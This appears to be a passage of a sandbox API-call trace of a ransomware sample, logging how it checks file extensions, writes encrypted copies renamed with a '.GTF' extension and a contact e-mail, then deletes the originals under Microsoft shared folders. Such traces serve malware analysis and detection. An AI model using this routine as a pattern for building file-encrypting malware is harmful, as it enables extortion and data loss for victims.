	[0070.869] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0070.869] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml") returned 80
	[0070.869] lstrlenW (lpString=".dbf") returned 4
	[0070.869] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0070.869] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml") returned 80
	[0070.869] lstrlenW (lpString=".1cd") returned 4
	[0070.870] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0070.870] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml") returned 80
	[0070.870] lstrlenW (lpString=".jpg") returned 4
	[0070.870] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0070.870] lstrcmpiW (lpString1=".xml", lpString2=".GTF") returned 1
	[0070.870] lstrlenW (lpString="OfficeUpdateSchedule.xml") returned 24
	[0070.870] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeupdateschedule.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0070.870] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=4782) returned 1
	[0070.871] CloseHandle (hObject=0x358) returned 1
	[0070.871] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeupdateschedule.xml")) returned 0x20
	[0070.871] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeupdateschedule.xml.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0070.871] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeupdateschedule.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0070.871] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0070.871] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0070.871] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeupdateschedule.xml.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c
	[0070.871] GetLastError () returned 0x0
	[0070.871] ReadFile (in: hFile=0x358, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x12ae, lpOverlapped=0x0) returned 1
	[0070.881] WriteFile (in: hFile=0x31c, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0x12b0, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0x12b0, lpOverlapped=0x0) returned 1
	[0070.882] ReadFile (in: hFile=0x358, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x0, lpOverlapped=0x0) returned 1
	[0070.882] WriteFile (in: hFile=0x31c, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0x104, lpOverlapped=0x0) returned 1
	[0070.882] SetEndOfFile (hFile=0x31c) returned 1
	[0070.882] CloseHandle (hObject=0x31c) returned 1
	[0070.883] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0070.883] SetEndOfFile (hFile=0x358) returned 1
	[0070.884] CloseHandle (hObject=0x358) returned 1
	[0070.884] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0070.884] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeupdateschedule.xml")) returned 1
	[0070.885] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml") returned 82
	[0070.885] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml") returned 82
	[0070.885] lstrlenW (lpString=".doc") returned 4
	[0070.885] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0070.885] lstrlenW (lpString=".docx") returned 5
	[0070.885] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1
	[0070.885] lstrlenW (lpString=".pdf") returned 4
	[0070.885] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0070.885] lstrlenW (lpString=".xls") returned 4
	[0070.885] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0070.885] lstrlenW (lpString=".xlsx") returned 5
	[0070.885] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1
	[0070.885] lstrlenW (lpString=".ppt") returned 4
	[0070.885] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0070.885] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml") returned 82
	[0070.885] lstrlenW (lpString=".zip") returned 4
	[0070.885] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0070.885] lstrlenW (lpString=".rar") returned 4
	[0070.885] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0070.885] lstrlenW (lpString=".bz2") returned 4
	[0070.885] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0070.885] lstrlenW (lpString=".7z") returned 3
	[0070.885] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0070.885] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml") returned 82
	[0070.885] lstrlenW (lpString=".dbf") returned 4
	[0070.885] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0070.885] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml") returned 82
	[0070.885] lstrlenW (lpString=".1cd") returned 4
	[0070.885] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0070.885] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml") returned 82
	[0070.885] lstrlenW (lpString=".jpg") returned 4
	[0070.885] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0070.885] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml") returned 82
	[0070.886] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml") returned 82
	[0070.886] lstrlenW (lpString=".doc") returned 4
	[0070.886] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0070.886] lstrlenW (lpString=".docx") returned 5
	[0070.886] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1
	[0070.886] lstrlenW (lpString=".pdf") returned 4
	[0070.886] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0070.886] lstrlenW (lpString=".xls") returned 4
	[0070.886] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0070.886] lstrlenW (lpString=".xlsx") returned 5
	[0070.886] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1
	[0070.886] lstrlenW (lpString=".ppt") returned 4
	[0070.886] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0070.886] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml") returned 82
	[0070.886] lstrlenW (lpString=".zip") returned 4
	[0070.886] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0070.886] lstrlenW (lpString=".rar") returned 4
	[0070.886] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0070.886] lstrlenW (lpString=".bz2") returned 4
	[0070.886] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0070.886] lstrlenW (lpString=".7z") returned 3
	[0070.886] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0070.886] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml") returned 82
	[0070.886] lstrlenW (lpString=".dbf") returned 4
	[0070.886] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0070.886] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml") returned 82
	[0070.886] lstrlenW (lpString=".1cd") returned 4
	[0070.886] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0070.886] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml") returned 82
	[0070.886] lstrlenW (lpString=".jpg") returned 4
	[0070.886] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0070.886] lstrcmpiW (lpString1=".xml", lpString2=".GTF") returned 1
	[0070.887] lstrlenW (lpString="ServiceWatcherSchedule.xml") returned 26
	[0070.887] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\servicewatcherschedule.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0070.887] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=4450) returned 1
	[0070.887] CloseHandle (hObject=0x358) returned 1
	[0070.887] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\servicewatcherschedule.xml")) returned 0x20
	[0070.887] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\servicewatcherschedule.xml.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0070.887] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\servicewatcherschedule.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0070.887] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0070.887] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0070.887] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\servicewatcherschedule.xml.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c
	[0070.887] GetLastError () returned 0x0
	[0070.887] ReadFile (in: hFile=0x358, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x1162, lpOverlapped=0x0) returned 1
	[0070.889] WriteFile (in: hFile=0x31c, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0x1170, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0x1170, lpOverlapped=0x0) returned 1
	[0070.890] ReadFile (in: hFile=0x358, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x0, lpOverlapped=0x0) returned 1
	[0070.890] WriteFile (in: hFile=0x31c, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0x108, lpOverlapped=0x0) returned 1
	[0070.890] SetEndOfFile (hFile=0x31c) returned 1
	[0070.890] CloseHandle (hObject=0x31c) returned 1
	[0070.891] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0070.891] SetEndOfFile (hFile=0x358) returned 1
	[0070.892] CloseHandle (hObject=0x358) returned 1
	[0070.892] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0070.893] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\servicewatcherschedule.xml")) returned 1
	[0070.893] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml") returned 84
	[0070.893] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml") returned 84
	[0070.893] lstrlenW (lpString=".doc") returned 4
	[0070.893] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0070.893] lstrlenW (lpString=".docx") returned 5
	[0070.893] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1
	[0070.893] lstrlenW (lpString=".pdf") returned 4
	[0070.893] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0070.893] lstrlenW (lpString=".xls") returned 4
	[0070.893] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0070.893] lstrlenW (lpString=".xlsx") returned 5
	[0070.893] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1
	[0070.893] lstrlenW (lpString=".ppt") returned 4
	[0070.893] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0070.893] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml") returned 84
	[0070.893] lstrlenW (lpString=".zip") returned 4
	[0070.893] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0070.893] lstrlenW (lpString=".rar") returned 4
	[0070.893] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0070.894] lstrlenW (lpString=".bz2") returned 4
	[0070.894] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0070.894] lstrlenW (lpString=".7z") returned 3
	[0070.894] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0070.894] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml") returned 84
	[0070.894] lstrlenW (lpString=".dbf") returned 4
	[0070.894] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0070.894] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml") returned 84
	[0070.894] lstrlenW (lpString=".1cd") returned 4
	[0070.894] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0070.894] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml") returned 84
	[0070.894] lstrlenW (lpString=".jpg") returned 4
	[0070.894] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0070.894] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml") returned 84
	[0070.894] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml") returned 84
	[0070.894] lstrlenW (lpString=".doc") returned 4
	[0070.894] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0070.894] lstrlenW (lpString=".docx") returned 5
	[0070.894] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1
	[0070.894] lstrlenW (lpString=".pdf") returned 4
	[0070.894] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0070.894] lstrlenW (lpString=".xls") returned 4
	[0070.894] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0070.894] lstrlenW (lpString=".xlsx") returned 5
	[0070.894] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1
	[0070.894] lstrlenW (lpString=".ppt") returned 4
	[0070.894] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0070.894] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml") returned 84
	[0070.894] lstrlenW (lpString=".zip") returned 4
	[0070.894] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0070.894] lstrlenW (lpString=".rar") returned 4
	[0070.894] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0070.894] lstrlenW (lpString=".bz2") returned 4
	[0070.894] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0070.894] lstrlenW (lpString=".7z") returned 3
	[0070.894] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0070.895] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml") returned 84
	[0070.895] lstrlenW (lpString=".dbf") returned 4
	[0070.895] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0070.895] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml") returned 84
	[0070.895] lstrlenW (lpString=".1cd") returned 4
	[0070.895] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0070.895] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml") returned 84
	[0070.895] lstrlenW (lpString=".jpg") returned 4
	[0070.895] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0070.895] lstrcmpiW (lpString1=".xml", lpString2=".GTF") returned 1
	[0070.895] lstrlenW (lpString="Alphabet.xml") returned 12
	[0070.895] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0070.918] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=791421) returned 1
	[0070.918] CloseHandle (hObject=0x358) returned 1
	[0070.931] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml")) returned 0x20
	[0070.931] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0070.932] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0070.932] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63
	[0070.932] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63
	[0070.932] lstrlenW (lpString=".doc") returned 4
	[0070.932] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0070.932] lstrlenW (lpString=".docx") returned 5
	[0070.932] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1
	[0070.932] lstrlenW (lpString=".pdf") returned 4
	[0070.932] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0070.932] lstrlenW (lpString=".xls") returned 4
	[0070.932] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0070.932] lstrlenW (lpString=".xlsx") returned 5
	[0070.932] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1
	[0070.932] lstrlenW (lpString=".ppt") returned 4
	[0070.932] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0070.932] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63
	[0070.932] lstrlenW (lpString=".zip") returned 4
	[0070.932] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0070.932] lstrlenW (lpString=".rar") returned 4
	[0070.932] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0070.932] lstrlenW (lpString=".bz2") returned 4
	[0070.932] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0070.932] lstrlenW (lpString=".7z") returned 3
	[0070.932] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0070.932] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63
	[0070.932] lstrlenW (lpString=".dbf") returned 4
	[0070.932] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0070.932] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63
	[0070.932] lstrlenW (lpString=".1cd") returned 4
	[0070.932] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0070.932] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63
	[0070.932] lstrlenW (lpString=".jpg") returned 4
	[0070.932] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0070.933] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63
	[0070.933] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63
	[0070.933] lstrlenW (lpString=".doc") returned 4
	[0070.933] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0070.933] lstrlenW (lpString=".docx") returned 5
	[0070.933] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1
	[0070.933] lstrlenW (lpString=".pdf") returned 4
	[0070.933] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0070.933] lstrlenW (lpString=".xls") returned 4
	[0070.933] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0070.933] lstrlenW (lpString=".xlsx") returned 5
	[0070.933] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1
	[0070.933] lstrlenW (lpString=".ppt") returned 4
	[0070.933] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0070.933] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63
	[0070.933] lstrlenW (lpString=".zip") returned 4
	[0070.933] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0070.933] lstrlenW (lpString=".rar") returned 4
	[0070.933] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0070.933] lstrlenW (lpString=".bz2") returned 4
	[0070.933] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0070.933] lstrlenW (lpString=".7z") returned 3
	[0070.933] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0070.933] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63
	[0070.933] lstrlenW (lpString=".dbf") returned 4
	[0070.933] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0070.933] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63
	[0070.933] lstrlenW (lpString=".1cd") returned 4
	[0070.933] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0070.933] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63
	[0070.933] lstrlenW (lpString=".jpg") returned 4
	[0070.933] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0070.933] lstrcmpiW (lpString1=".xml", lpString2=".GTF") returned 1
	[0070.933] lstrlenW (lpString="Content.xml") returned 11
	[0070.934] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0070.934] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=27045) returned 1
	[0070.934] CloseHandle (hObject=0x33c) returned 1
	[0070.934] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml")) returned 0x20
	[0070.935] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0070.935] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0070.935] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62
	[0070.935] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62
	[0070.935] lstrlenW (lpString=".doc") returned 4
	[0070.935] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0070.935] lstrlenW (lpString=".docx") returned 5
	[0070.935] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1
	[0070.935] lstrlenW (lpString=".pdf") returned 4
	[0070.935] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0070.935] lstrlenW (lpString=".xls") returned 4
	[0070.935] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0070.935] lstrlenW (lpString=".xlsx") returned 5
